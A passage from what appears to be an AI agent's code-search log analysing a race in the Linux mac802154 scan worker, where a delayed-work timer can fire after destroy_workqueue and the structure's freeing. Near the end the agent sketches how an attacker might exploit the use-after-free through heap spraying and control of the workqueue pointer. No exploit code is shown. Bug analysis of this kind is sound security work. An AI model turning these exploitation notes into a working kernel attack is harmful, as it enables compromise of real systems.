] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:ieee802154_alloc_hw SourceFile:net/mac802154/main.c SourceLine:101 SourceSnippet: 96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:ieee802154_alloc_hw SourceFile:net/mac802154/main.c SourceLine:101 SourceSnippet: 96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:ieee802154_alloc_hw SourceFile:net/mac802154/main.c SourceLine:101 SourceSnippet: 96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:ieee802154_alloc_hw SourceFile:net/mac802154/main.c SourceLine:101 SourceSnippet: 96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mac802154_scan_cleanup_locked SourceFile:net/mac802154/scan.c SourceLine:55 SourceSnippet: 50: struct cfg802154_scan_request *request;
51: u8 arg;
52:
53: /* Prevent any further use of the scan request */
54: clear_bit(IEEE802154_IS_SCANNING, &local->ongoing);
55: cancel_delayed_work(&local->scan_work);
56: request = rcu_replace_pointer(local->scan_req, NULL, 1);
57: if (!request)
58: return 0;
59: kvfree_rcu_mightsleep(request);
60:
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:mac802154_scan_worker SourceFile:net/mac802154/scan.c SourceLine:177 SourceSnippet: 174: void mac802154_scan_worker(struct work_struct *work)
175: {
176: struct ieee802154_local *local =
177: container_of(work, struct ieee802154_local, scan_work.work);
178: struct cfg802154_scan_request *scan_req;
179: enum nl802154_scan_types scan_req_type;
180: struct ieee802154_sub_if_data *sdata;
181: unsigned int scan_duration = 0;
182: netdevice_tracker dev_tracker;
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mac802154_scan_worker SourceFile:net/mac802154/scan.c SourceLine:208 SourceSnippet: 203: sdata = IEEE802154_WPAN_DEV_TO_SUB_IF(scan_req->wpan_dev);
204:
205: /* Wait an arbitrary amount of time in case we cannot use the device */
206: if (local->suspended || !ieee802154_sdata_running(sdata)) {
207: rcu_read_unlock();
208: queue_delayed_work(local->mac_wq, &local->scan_work,
209: msecs_to_jiffies(1000));
210: return;
211: }
212:
213: /*
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mac802154_scan_worker SourceFile:net/mac802154/scan.c SourceLine:273 SourceSnippet: 268: scan_duration = mac802154_scan_get_channel_time(scan_req_duration,
269: wpan_phy->symbol_duration);
270: dev_dbg(&sdata->dev->dev,
271: "Scan page %u channel %u for %ums\n",
272: page, channel, jiffies_to_msecs(scan_duration));
273: queue_delayed_work(local->mac_wq, &local->scan_work, scan_duration);
274: netdev_put(sdata->dev, &dev_tracker);
275: return;
276:
277: end_scan:
278: rtnl_lock();
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:mac802154_trigger_scan_locked SourceFile:net/mac802154/scan.c SourceLine:315 SourceSnippet: 310: if (request->type == NL802154_SCAN_ACTIVE)
311: mac802154_scan_prepare_beacon_req(local);
312:
313: nl802154_scan_started(request->wpan_phy, request->wpan_dev);
314:
315: queue_delayed_work(local->mac_wq, &local->scan_work, 0);
316:
317: return 0;
318: }
]] TruncatedOutput:false]
|
| 36/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 25776
output: 63
thoughts: 140
Thoughts: **My Analysis of the 802.15.4 Scan Cleanup**
Okay, so I'm looking at this `mac802154_scan_cleanup_locked` function, and it seems like it's calling `cancel_delayed_work(&local->scan_work)`. Right, that makes sense - we want to stop any pending scans. But hold on... it's just `cancel_delayed_work`, not the synchronous version, `cancel_delayed_work_sync`. That's a key distinction. Now, as I recall, `cancel_delayed_work` doesn't actually *wait* for the work to finish if it's currently running. That could be problematic. I need to keep that in mind.
Now, wait a minute, I don't see `ieee802154_unregister_hw` calling `mac802154_scan_cleanup_locked` directly, so how does the scan cleanup get called from the unregister path? I need to track down the call graph. Let me see where else this function is invoked. This is where I need to start digging.
|
| 37/2 |
2026/08/14 11:17 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/mac802154/scan.c IncludeSnippetLines:5 Name:mac802154_scan_cleanup_locked SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:mac802154_abort_scan_locked SourceFile:net/mac802154/scan.c SourceLine:92 SourceSnippet: 87: ASSERT_RTNL();
88:
89: if (!mac802154_is_scanning(local))
90: return -ESRCH;
91:
92: return mac802154_scan_cleanup_locked(local, sdata, true);
93: }
] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:mac802154_scan_worker SourceFile:net/mac802154/scan.c SourceLine:279 SourceSnippet: 274: netdev_put(sdata->dev, &dev_tracker);
275: return;
276:
277: end_scan:
278: rtnl_lock();
279: mac802154_scan_cleanup_locked(local, sdata, false);
280: rtnl_unlock();
281: netdev_put(sdata->dev, &dev_tracker);
282: }
]] TruncatedOutput:false]
|
| 38/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 26605
output: 63
thoughts: 23
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing the Callers of `mac802154_abort_scan_locked`**
Okay, so I'm diving into the 802.15.4 codebase again. I need to understand the impact of `mac802154_abort_scan_locked`. I'm going to start by tracing its call sites. Given my familiarity with the architecture, I anticipate this function is critical for proper handling of scan abort requests, likely related to both active and passive scanning states, perhaps including scenarios like channel changes, timeout conditions, or higher-layer command interruptions. I'm expecting this will involve looking at interrupt handlers, timer callbacks, and state machine transitions. Let's see how the implementation actually handles things. From there, I'll be able to determine what potential race conditions or other areas might be problematic in terms of concurrency or resource locking. Time to go hunting for its use.
|
| 39/2 |
2026/08/14 11:17 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/mac802154/scan.c IncludeSnippetLines:5 Name:mac802154_abort_scan_locked SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:mac802154_abort_scan SourceFile:net/mac802154/cfg.c SourceLine:290 SourceSnippet: 285:
286: sdata = IEEE802154_WPAN_DEV_TO_SUB_IF(wpan_dev);
287:
288: ASSERT_RTNL();
289:
290: return mac802154_abort_scan_locked(local, sdata);
291: }
] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:mac802154_slave_close SourceFile:net/mac802154/iface.c SourceLine:306 SourceSnippet: 301: struct ieee802154_local *local = sdata->local;
302:
303: ASSERT_RTNL();
304:
305: if (mac802154_is_scanning(local))
306: mac802154_abort_scan_locked(local, sdata);
307:
308: if (mac802154_is_beaconing(local))
309: mac802154_stop_beacons_locked(local, sdata);
310:
311: netif_stop_queue(dev);
]] TruncatedOutput:false]
|
| 40/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 27342
output: 49
thoughts: 61
Thoughts: **Investigating Potential Resource Leaks in IEEE 802.15.4 Driver Shutdown**
Okay, so `mac802154_slave_close` is supposed to handle interface teardown – that makes sense. It's the cleanup function called when the interface is brought down. But a nagging question pops up: what if the *interface* isn't formally "brought down," but the underlying *hardware* is unregistered? Is `mac802154_slave_close` still called in that scenario? Or are we potentially leaking resources? I need to know where the unregister code path lives.
Let me pivot to examining `ieee802154_remove_interfaces`. That's where I would expect to find the logic responsible for removing the interfaces. I'll need to meticulously trace the execution through this function, focusing on how hardware removal is handled and if `mac802154_slave_close` is correctly invoked in that specific circumstance. The goal is to verify that all associated resources are freed, even when the standard interface shutdown isn't the initiating factor. This is a critical point to ensure the stability and reliability of the driver.
|
| 41/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:ieee802154_remove_interfaces]
Results: map[SourceCode: 700: void ieee802154_remove_interfaces(struct ieee802154_local *local)
701: {
702: struct ieee802154_sub_if_data *sdata, *tmp;
703:
704: mutex_lock(&local->iflist_mtx);
705: list_for_each_entry_safe(sdata, tmp, &local->interfaces, list) {
706: list_del_rcu(&sdata->list);
707:
708: unregister_netdevice(sdata->dev);
709: }
710: mutex_unlock(&local->iflist_mtx);
711: }
SourceFile:net/mac802154/iface.c]
|
| 42/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 27949
output: 48
thoughts: 270
Thoughts: **My Analysis of the mac802154 Network Interface Shutdown**
Okay, let's break this down. `unregister_netdevice` is being called, and I know that eventually brings the interface down. This triggers a cascade of function calls: `mac802154_slave_close`, `mac802154_abort_scan_locked`, `mac802154_scan_cleanup_locked`, and finally, `cancel_delayed_work(&local->scan_work)`. I'm immediately concerned because I know `cancel_delayed_work` doesn't guarantee the work finishes *before* continuing.
Then the bug report highlights a crucial piece of evidence. It's reporting a "free active" object of type `timer_list`, specifically hinting at `mac802154_scan_worker`. This tells me the timer is *still* active. If `cancel_delayed_work` is meant to stop it, the timer should be stopped, that's the point!
Now, the documentation for `cancel_delayed_work` is flashing in my mind. If it returns `false`, it means the timer wasn't pending – either it fired and the worker is running, or it was never queued. But, this bug report implies the work is *running* and the timer hasn't been cancelled, and that it *might* re-arm the timer while it's running! That would explain the active timer after the work should have been cancelled!
I need to confirm this. I need to get into the `mac802154_scan_worker` function *immediately* to check for re-arming logic.
|
| 43/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/scan.c Name:mac802154_scan_worker]
Results: map[SourceCode: 174: void mac802154_scan_worker(struct work_struct *work)
175: {
176: struct ieee802154_local *local =
177: container_of(work, struct ieee802154_local, scan_work.work);
178: struct cfg802154_scan_request *scan_req;
179: enum nl802154_scan_types scan_req_type;
180: struct ieee802154_sub_if_data *sdata;
181: unsigned int scan_duration = 0;
182: netdevice_tracker dev_tracker;
183: struct wpan_phy *wpan_phy;
184: u8 scan_req_duration;
185: u8 page, channel;
186: int ret;
187:
188: /* Ensure the device receiver is turned off when changing channels
189: * because there is no atomic way to change the channel and know on
190: * which one a beacon might have been received.
191: */
192: drv_stop(local);
193: synchronize_net();
194: mac802154_flush_queued_beacons(local);
195:
196: rcu_read_lock();
197: scan_req = rcu_dereference(local->scan_req);
198: if (unlikely(!scan_req)) {
199: rcu_read_unlock();
200: return;
201: }
202:
203: sdata = IEEE802154_WPAN_DEV_TO_SUB_IF(scan_req->wpan_dev);
204:
205: /* Wait an arbitrary amount of time in case we cannot use the device */
206: if (local->suspended || !ieee802154_sdata_running(sdata)) {
207: rcu_read_unlock();
208: queue_delayed_work(local->mac_wq, &local->scan_work,
209: msecs_to_jiffies(1000));
210: return;
211: }
212:
213: /*
214: * sdata->dev is dereferenced below after rcu_read_unlock() and outside
215: * the rtnl, and a concurrent DEL_INTERFACE / PHY teardown can free it
216: * asynchronously from netdev_run_todo(). Pin it with a reference taken
217: * while the RCU read lock is still held, and drop it at every exit.
218: */
219: netdev_hold(sdata->dev, &dev_tracker, GFP_ATOMIC);
220:
221: wpan_phy = scan_req->wpan_phy;
222: scan_req_type = scan_req->type;
223: scan_req_duration = scan_req->duration;
224:
225: /* Look for the next valid chan */
226: page = local->scan_page;
227: channel = local->scan_channel;
228: do {
229: ret = mac802154_scan_find_next_chan(local, scan_req, page, &channel);
230: if (ret) {
231: rcu_read_unlock();
232: goto end_scan;
233: }
234: } while (!ieee802154_chan_is_valid(scan_req->wpan_phy, page, channel));
235:
236: rcu_read_unlock();
237:
238: /* Bypass the stack on purpose when changing the channel */
239: rtnl_lock();
240: ret = drv_set_channel(local, page, channel);
241: rtnl_unlock();
242: if (ret) {
243: dev_err(&sdata->dev->dev,
244: "Channel change failure during scan, aborting (%d)\n", ret);
245: goto end_scan;
246: }
247:
248: local->scan_page = page;
249: local->scan_channel = channel;
250:
251: rtnl_lock();
252: ret = drv_start(local, IEEE802154_FILTERING_3_SCAN, &local->addr_filt);
253: rtnl_unlock();
254: if (ret) {
255: dev_err(&sdata->dev->dev,
256: "Restarting failure after channel change, aborting (%d)\n", ret);
257: goto end_scan;
258: }
259:
260: if (scan_req_type == NL802154_SCAN_ACTIVE) {
261: ret = mac802154_transmit_beacon_req(local, sdata);
262: if (ret)
263: dev_err(&sdata->dev->dev,
264: "Error when transmitting beacon request (%d)\n", ret);
265: }
266:
267: ieee802154_configure_durations(wpan_phy, page, channel);
268: scan_duration = mac802154_scan_get_channel_time(scan_req_duration,
269: wpan_phy->symbol_duration);
270: dev_dbg(&sdata->dev->dev,
271: "Scan page %u channel %u for %ums\n",
272: page, channel, jiffies_to_msecs(scan_duration));
273: queue_delayed_work(local->mac_wq, &local->scan_work, scan_duration);
274: netdev_put(sdata->dev, &dev_tracker);
275: return;
276:
277: end_scan:
278: rtnl_lock();
279: mac802154_scan_cleanup_locked(local, sdata, false);
280: rtnl_unlock();
281: netdev_put(sdata->dev, &dev_tracker);
282: }
SourceFile:net/mac802154/scan.c]
|
| 44/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 30485
output: 49
thoughts: 633
Thoughts: **Analyzing a Potential Race Condition in the 802.15.4 Driver**
Okay, so I'm looking at this 802.15.4 driver, specifically how it handles scanning and unregistering the hardware. My initial thought is focused on the interaction between `mac802154_scan_worker` and `mac802154_scan_cleanup_locked`. I see that `mac802154_scan_worker` schedules a delayed work, `&local->scan_work`, using `queue_delayed_work`. Simultaneously, if `mac802154_scan_cleanup_locked` is called, it attempts to cancel that work using `cancel_delayed_work`.
Here's the problem: `cancel_delayed_work` doesn't *wait*. So, if `mac802154_scan_cleanup_locked` runs while the worker is executing, the cleanup could return, and then *after* that, the worker function would try to queue `scan_work`. That re-arms the timer! Then, the problem gets worse with `ieee802154_unregister_hw` which calls `flush_workqueue` and *destroys* the workqueue. It calls `destroy_workqueue` on two workqueues, `local->mac_wq` which is used for the scan work, and another generic `local->workqueue`. `destroy_workqueue` supposedly drains the workqueue, waiting for works to finish. The question is, does it wait for delayed works that have a pending timer?
The answer is no! `destroy_workqueue` doesn't wait for those timers to expire. It just drains the *queued* works. If the timer fires *after* `destroy_workqueue` has finished, it'll try to add work to a destroyed queue! This means we have a classic use-after-free scenario. I know that `destroy_workqueue` *should* have a sanity check with `WARN_ON(!list_empty(&wq->pwqs));`, but that doesn't fix the race. It's a warning, not a blocker.
This leads me to the conclusion that we *must* be using `cancel_delayed_work_sync` instead of `cancel_delayed_work` here. So let's check `ieee802154_unregister_hw`... and... no, it doesn't! This is a definite problem. I need to revisit `ieee802154_unregister_hw` to figure out where we need to fix this race.
|
| 45/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:ieee802154_unregister_hw]
Results: map[SourceCode: 273: void ieee802154_unregister_hw(struct ieee802154_hw *hw)
274: {
275: struct ieee802154_local *local = hw_to_local(hw);
276:
277: tasklet_kill(&local->tasklet);
278: flush_workqueue(local->workqueue);
279:
280: rtnl_lock();
281:
282: ieee802154_remove_interfaces(local);
283:
284: rtnl_unlock();
285:
286: destroy_workqueue(local->mac_wq);
287: destroy_workqueue(local->workqueue);
288: wpan_phy_unregister(local->phy);
289: }
SourceFile:net/mac802154/main.c]
|
| 46/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 32022
output: 50
thoughts: 316
Thoughts: **My Analysis of a Potential Use-After-Free Vulnerability**
Okay, let's break this down. My initial observation is that `ieee802154_remove_interfaces` is a critical function. It's calling `unregister_netdevice`, which cascades down through several other functions: `mac802154_slave_close`, `mac802154_abort_scan_locked`, `mac802154_scan_cleanup_locked`, eventually hitting `cancel_delayed_work` on `local->scan_work`. The core problem arises when that `scan_work` is still active, in which case `cancel_delayed_work` will return false.
I see it. `mac802154_scan_worker` is in flight! That worker function will continue to run, and the subsequent call to `queue_delayed_work` is the key. The *work* isn't on the queue yet, but the timer is pending. `ieee802154_remove_interfaces` then returns. This is where it gets dangerous. `destroy_workqueue(local->mac_wq)` gets called. And, of course, `destroy_workqueue` tries to `drain_workqueue`.
The critical point here is that *the work isn't in the workqueue.* So, `destroy_workqueue` happily succeeds. The timer is still pending, but the work isn't in the workqueue yet! Then, `ieee802154_free_hw` is called, and `local` gets freed!
Now the timer fires, and that's it: the crash. The timer's work function accesses freed memory. That's a classic use-after-free scenario. This is a clear race condition.
I need to confirm if `cancel_delayed_work` is being used correctly, rather than the synchronous variant `cancel_delayed_work_sync`. That could make all the difference. I'll check that next.
|
| 47/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/scan.c Name:mac802154_scan_cleanup_locked]
Results: map[SourceCode: 28: /* mac802154_scan_cleanup_locked() must be called upon scan completion or abort.
29: * - Completions are asynchronous, not locked by the rtnl and decided by the
30: * scan worker.
31: * - Aborts are decided by userspace, and locked by the rtnl.
32: *
33: * Concurrent modifications to the PHY, the interfaces or the hardware is in
34: * general prevented by the rtnl. So in most cases we don't need additional
35: * protection.
36: *
37: * However, the scan worker get's triggered without anybody noticing and thus we
38: * must ensure the presence of the devices as well as data consistency:
39: * - The sub-interface and device driver module get both their reference
40: * counters incremented whenever we start a scan, so they cannot disappear
41: * during operation.
42: * - Data consistency is achieved by the use of rcu protected pointers.
43: */
44: static int mac802154_scan_cleanup_locked(struct ieee802154_local *local,
45: struct ieee802154_sub_if_data *sdata,
46: bool aborted)
47: {
48: struct wpan_dev *wpan_dev = &sdata->wpan_dev;
49: struct wpan_phy *wpan_phy = local->phy;
50: struct cfg802154_scan_request *request;
51: u8 arg;
52:
53: /* Prevent any further use of the scan request */
54: clear_bit(IEEE802154_IS_SCANNING, &local->ongoing);
55: cancel_delayed_work(&local->scan_work);
56: request = rcu_replace_pointer(local->scan_req, NULL, 1);
57: if (!request)
58: return 0;
59: kvfree_rcu_mightsleep(request);
60:
61: /* Advertize first, while we know the devices cannot be removed */
62: if (aborted)
63: arg = NL802154_SCAN_DONE_REASON_ABORTED;
64: else
65: arg = NL802154_SCAN_DONE_REASON_FINISHED;
66: nl802154_scan_done(wpan_phy, wpan_dev, arg);
67:
68: /* Cleanup software stack */
69: ieee802154_mlme_op_post(local);
70:
71: /* Set the hardware back in its original state */
72: drv_set_channel(local, wpan_phy->current_page,
73: wpan_phy->current_channel);
74: ieee802154_configure_durations(wpan_phy, wpan_phy->current_page,
75: wpan_phy->current_channel);
76: drv_stop(local);
77: synchronize_net();
78: sdata->required_filtering = sdata->iface_default_filtering;
79: drv_start(local, sdata->required_filtering, &local->addr_filt);
80:
81: return 0;
82: }
SourceFile:net/mac802154/scan.c]
|
| 48/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 33800
output: 34
thoughts: 907
Thoughts: **Analyzing the Scan Worker and Cleanup Sequence**
Okay, so I'm looking at this `cancel_delayed_work` call, specifically related to `local->scan_work`. The `mac802154_scan_worker` function's got me thinking. It dereferences `local->scan_req`, right? And if that pointer is NULL due to a cleanup function running concurrently, it'll bail out without rescheduling the timer.
But here's the kicker: `mac802154_scan_cleanup_locked` calls `rcu_replace_pointer` on `local->scan_req`. So, if that cleanup *beats* the worker to the punch, we're in a bad state. The worker sees a NULL `scan_req` and thinks it's done. But what if it's *already* dereferenced? I've got to consider that the worker has already read `scan_req`. If it has, it'll happily continue and call `queue_delayed_work`, scheduling another scan.
Then there's the `rtnl_lock()`. The `mac802154_scan_worker` later takes that lock. But *wait* a second, `mac802154_scan_cleanup_locked` is called with that `rtnl_lock` held! So, if the worker is waiting for that lock, it'll block until the cleanup is done, including the call to `ieee802154_remove_interfaces`. The worker will then get the lock, do its thing, and eventually call `queue_delayed_work`.
And, as if this isn't tricky enough, `ieee802154_remove_interfaces` is also called with that same `rtnl_lock` held. So, the worker blocks *again* on the lock, before calling `drv_set_channel`.
Now comes the killer: `ieee802154_unregister_hw` calls `destroy_workqueue(local->mac_wq)`. This is where it gets interesting, and concerning. `destroy_workqueue` could be called while the worker is *executing*, or after it has queued the delayed work. If it's called *after* the work is queued, but before it runs, that timer is still pending. The work itself isn't *in* the workqueue yet because it's delayed.
Now, `destroy_workqueue` calls `drain_workqueue`. But does `drain_workqueue` wait for delayed works? I need to check the implementation. I'm pretty sure it only waits for works that are *already* in the workqueue. If my hunch is correct, `drain_workqueue` will return. The worker will eventually run, and then the destroy will complete.
|
| 49/2 |
2026/08/14 11:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/workqueue.c Name:destroy_workqueue]
Results: map[SourceCode:6034: /**
6035: * destroy_workqueue - safely terminate a workqueue
6036: * @wq: target workqueue
6037: *
6038: * Safely destroy a workqueue. All work currently pending will be done first.
6039: *
6040: * This function does NOT guarantee that non-pending work that has been
6041: * submitted with queue_delayed_work() and similar functions will be done
6042: * before destroying the workqueue. The fundamental problem is that, currently,
6043: * the workqueue has no way of accessing non-pending delayed_work. delayed_work
6044: * is only linked on the timer-side. All delayed_work must, therefore, be
6045: * canceled before calling this function.
6046: *
6047: * TODO: It would be better if the problem described above wouldn't exist and
6048: * destroy_workqueue() would cleanly cancel all pending and non-pending
6049: * delayed_work.
6050: */
6051: void destroy_workqueue(struct workqueue_struct *wq)
6052: {
6053: struct pool_workqueue *pwq;
6054: int cpu;
6055:
6056: /*
6057: * Remove it from sysfs first so that sanity check failure doesn't
6058: * lead to sysfs name conflicts.
6059: */
6060: workqueue_sysfs_unregister(wq);
6061:
6062: /* mark the workqueue destruction is in progress */
6063: mutex_lock(&wq->mutex);
6064: wq->flags |= __WQ_DESTROYING;
6065: mutex_unlock(&wq->mutex);
6066:
6067: /* drain it before proceeding with destruction */
6068: drain_workqueue(wq);
6069:
6070: /* kill rescuer, if sanity checks fail, leave it w/o rescuer */
6071: if (wq->rescuer) {
6072: /* rescuer will empty maydays list before exiting */
6073: kthread_stop(wq->rescuer->task);
6074: kfree(wq->rescuer);
6075: wq->rescuer = NULL;
6076: }
6077:
6078: /*
6079: * Sanity checks - grab all the locks so that we wait for all
6080: * in-flight operations which may do put_pwq().
6081: */
6082: mutex_lock(&wq_pool_mutex);
6083: mutex_lock(&wq->mutex);
6084: for_each_pwq(pwq, wq) {
6085: raw_spin_lock_irq(&pwq->pool->lock);
6086: if (WARN_ON(pwq_busy(pwq))) {
6087: pr_warn("%s: %s has the following busy pwq\n",
6088: __func__, wq->name);
6089: show_pwq(pwq);
6090: raw_spin_unlock_irq(&pwq->pool->lock);
6091: mutex_unlock(&wq->mutex);
6092: mutex_unlock(&wq_pool_mutex);
6093: show_one_workqueue(wq);
6094: return;
6095: }
6096: raw_spin_unlock_irq(&pwq->pool->lock);
6097: }
6098: mutex_unlock(&wq->mutex);
6099:
6100: /*
6101: * wq list is used to freeze wq, remove from list after
6102: * flushing is complete in case freeze races us.
6103: */
6104: list_del_rcu(&wq->list);
6105: mutex_unlock(&wq_pool_mutex);
6106:
6107: /*
6108: * We're the sole accessor of @wq. Directly access cpu_pwq and dfl_pwq
6109: * to put the base refs. @wq will be auto-destroyed from the last
6110: * pwq_put. RCU read lock prevents @wq from going away from under us.
6111: */
6112: rcu_read_lock();
6113:
6114: for_each_possible_cpu(cpu) {
6115: put_pwq_unlocked(unbound_pwq(wq, cpu));
6116: RCU_INIT_POINTER(*unbound_pwq_slot(wq, cpu), NULL);
6117: }
6118:
6119: put_pwq_unlocked(unbound_pwq(wq, -1));
6120: RCU_INIT_POINTER(*unbound_pwq_slot(wq, -1), NULL);
6121:
6122: rcu_read_unlock();
6123: }
SourceFile:kernel/workqueue.c]
|
| 50/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 36772
output: 34
thoughts: 550
Thoughts: **Analyzing a Nasty Use-After-Free Vulnerability**
Okay, so the comment makes it crystal clear: `destroy_workqueue` doesn't clean up after delayed work. The timer side of delayed work doesn't have a direct link back to the workqueue, which means any pending timer will happily try to execute after the workqueue and likely related structures are gone. Bingo, a classic use-after-free scenario.
Let's dive in. The culprit is `delayed_work_timer_fn`, which is triggered by the timer. It calls `__queue_work` to queue the work. Hold on... `__queue_work` needs the workqueue structure. But we just destroyed the workqueue! Wait... `destroy_workqueue` *frees* the structure, so we have a pointer to freed memory!
Looking at the code:
```c
void delayed_work_timer_fn(struct timer_list *t)
{
struct delayed_work *dwork = from_timer(dwork, t, timer);
/* should have been called from irqsafe timer with irq already off */
__queue_work(dwork->cpu, dwork->wq, &dwork->work);
}
```
The `dwork->wq` is the pointer to the destroyed workqueue. And `dwork` is embedded within `ieee802154_local` which will also be free'd! This is a double use-after-free, hitting both the `ieee802154_local` structure *and* the workqueue structure.
This is exploitable! Since it's asynchronous, an attacker can spray memory and reallocate both `ieee802154_local` and the workqueue with controlled data. The key is `dwork->wq`: if the attacker can control it, they control what `__queue_work` does. And `__queue_work` takes a `workqueue_struct *wq` as an argument. A controlled `wq` pointer could lead to writes to arbitrary memory locations or, even better, execution of controlled function pointers. I need to examine `__queue_work` closely.
|
| 51/2 |
2026/08/14 11:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/workqueue.c Name:__queue_work]
Results: map[SourceCode:2275: static void __queue_work(int cpu, struct workqueue_struct *wq,
2276: struct work_struct *work)
2277: {
2278: struct pool_workqueue *pwq;
2279: struct worker_pool *last_pool, *pool;
2280: unsigned int work_flags;
2281: unsigned int req_cpu = cpu;
2282:
2283: /*
2284: * NOTE: Check whether the used workqueue is deprecated and warn
2285: */
2286: if (unlikely(wq->flags & __WQ_DEPRECATED))
2287: pr_warn_once("workqueue: work func %ps enqueued on deprecated workqueue. "
2288: "Use system_{percpu|dfl}_wq instead.\n",
2289: work->func);
2290:
2291: /*
2292: * While a work item is PENDING && off queue, a task trying to
2293: * steal the PENDING will busy-loop waiting for it to either get
2294: * queued or lose PENDING. Grabbing PENDING and queueing should
2295: * happen with IRQ disabled.
2296: */
2297: lockdep_assert_irqs_disabled();
2298:
2299: /*
2300: * For a draining wq, only works from the same workqueue are
2301: * allowed. The __WQ_DESTROYING helps to spot the issue that
2302: * queues a new work item to a wq after destroy_workqueue(wq).
2303: */
2304: if (unlikely(wq->flags & (__WQ_DESTROYING | __WQ_DRAINING) &&
2305: WARN_ONCE(!is_chained_work(wq), "workqueue: cannot queue %ps on wq %s\n",
2306: work->func, wq->name))) {
2307: struct work_offq_data offqd;
2308:
2309: /*
2310: * State on entry: PENDING is set, work is off-queue (no
2311: * insert_work() has run).
2312: *
2313: * Returning without clearing PENDING would leave the work
2314: * in a weird state (PENDING=1, PWQ=0, entry empty)
2315: */
2316: work_offqd_unpack(&offqd, *work_data_bits(work));
2317: set_work_pool_and_clear_pending(work, offqd.pool_id,
2318: work_offqd_pack_flags(&offqd));
2319: return;
2320: }
2321: rcu_read_lock();
2322: retry:
2323: /* pwq which will be used unless @work is executing elsewhere */
2324: if (req_cpu == WORK_CPU_UNBOUND) {
2325: if (wq->flags & WQ_UNBOUND)
2326: cpu = wq_select_unbound_cpu(raw_smp_processor_id());
2327: else
2328: cpu = raw_smp_processor_id();
2329: }
2330:
2331: pwq = rcu_dereference(*per_cpu_ptr(wq->cpu_pwq, cpu));
2332: pool = pwq->pool;
2333:
2334: /*
2335: * If @work was previously on a different pool, it might still be
2336: * running there, in which case the work needs to be queued on that
2337: * pool to guarantee non-reentrancy.
2338: *
2339: * For ordered workqueue, work items must be queued on the newest pwq
2340: * for accurate order management. Guaranteed order also guarantees
2341: * non-reentrancy. See the comments above unplug_oldest_pwq().
2342: */
2343: last_pool = get_work_pool(work);
2344: if (last_pool && last_pool != pool && !(wq->flags & __WQ_ORDERED)) {
2345: struct worker *worker;
2346:
2347: raw_spin_lock(&last_pool->lock);
2348:
